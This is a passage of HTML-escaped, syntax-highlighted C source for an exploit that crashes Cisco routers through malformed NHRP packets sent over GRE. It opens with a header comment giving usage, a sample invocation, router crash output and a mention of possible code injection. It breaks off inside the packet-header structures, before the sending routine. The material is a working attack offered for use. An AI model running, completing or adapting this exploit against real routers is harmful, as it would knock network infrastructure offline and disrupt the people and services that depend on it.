&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* This exploit works even if &amp;#34;ip nhrp authentication&amp;#34; is configured on the   */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* cisco router. You can also specify a GRE key (use 0 to disable this        */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* feature) if the GRE tunnel is protected. You don&amp;#39;t need to know the        */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP network id (or any other configuration details, except the GRE key if */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* it is set on the target router).                                           */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NOTE: The exploit only seems to work, if a NHRP session between the target */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*       router and at least one client is established.                       */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Code injection is also possible (thanks to sky for pointing this out), but */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* it is not very easy and depends heavily on the IOS version / platform.     */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Example:                                                                   */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* root@elxsi# ./nhrp-dos vr0 x.x.x.x 123456789                               */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Router console output:                                                     */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* -Traceback= 605D89A0 605D6B50 605BD974 605C08CC 605C2598 605C27E8          */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* $0 : 00000000, AT : 62530000, v0 : 62740000, v1 : 62740000                 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* &amp;lt;snip&amp;gt;                                                                     */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* EPC : 605D89A0, ErrorEPC : BFC01654, SREG : 3400FF03                       */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Cause 00000024 (Code 0x9): Breakpoint exception                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Writing crashinfo to bootflash:crashinfo_20070321-155011                   */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* === Flushing messages (16:50:12 CET Wed Mar 21 2007) ===                   */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Router reboots or sometimes hangs ;)                                       */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Workaround: Disable NHRP ;)                                                */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* I&amp;#39;d like to thank the Cisco PSIRT and Clay Seaman-Kossmey for their help   */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* regarding this issue.                                                      */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Greetings fly to: sky, chilli, arbon, ripp, huega, gh0st, argonius, s0uls, */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                   xhr, bullet, nanoc, spekul, kaner, d, slobo, conny, H-Ra */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                   and #infiniteVOID                                        */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/******************************************************************************/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;netdb.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;arpa/inet.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;sys/socket.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;sys/ioctl.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;net/if.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;netinet/in.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;netinet/in_systm.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;netinet/ip.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* BSD */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#define _BSD
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Header sizes */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#define IP_HDR_SIZE     20
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#define GRE_HDR_SIZE    4
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#define GRE_KEY_SIZE    4
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#define NHRP_HDR_SIZE   62
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Function prototypes */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;open_socket&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;close_socket&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;send_dos&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;resolve_ip&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;get_int_ipv4&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Globals */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; sockfd;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; nhrp_req_id;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* GRE header */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; gre_h {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; flags;   &lt;span style=&#34;color:#75715e&#34;&gt;/* GRE flags */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; ptype;   &lt;span style=&#34;color:#75715e&#34;&gt;/* GRE protocol type */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;   key;     &lt;span style=&#34;color:#75715e&#34;&gt;/* GRE key */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP header */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; nhrp_h {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP fixed header (20 bytes) */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; afn;             &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP AFN */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; proto;           &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP protocol type */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;   snap;            &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP SNAP */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; snapE:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;         &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP SNAP */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; hops:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;          &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP hop count */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; length;          &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP total length */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; checksum;        &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP checksum */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; mpoa_ext;        &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP MPOA extensions */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; version:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;       &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP version */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; type:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;          &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP type */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; nbma_addr:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;     &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP t/l of NBMA address */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; nbma_sub:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;      &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP t/l of NBMA subaddr */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} fixed;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP mandatory part */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; src_len:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;       &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP src protocol length */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; dst_len:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;       &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP dest protocol length */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; flags;           &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP flags */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;   request_id;      &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP request ID */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt;  client_nbma;     &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP client NBMA address */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt;  client_nbma_sub; &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP client NBMA subaddr */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt;  client_pro_addr; &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP client protocol addr */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} mand;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP client information entries (CIE) */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;union&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; code:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;          &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP code */&lt;/span&gt;
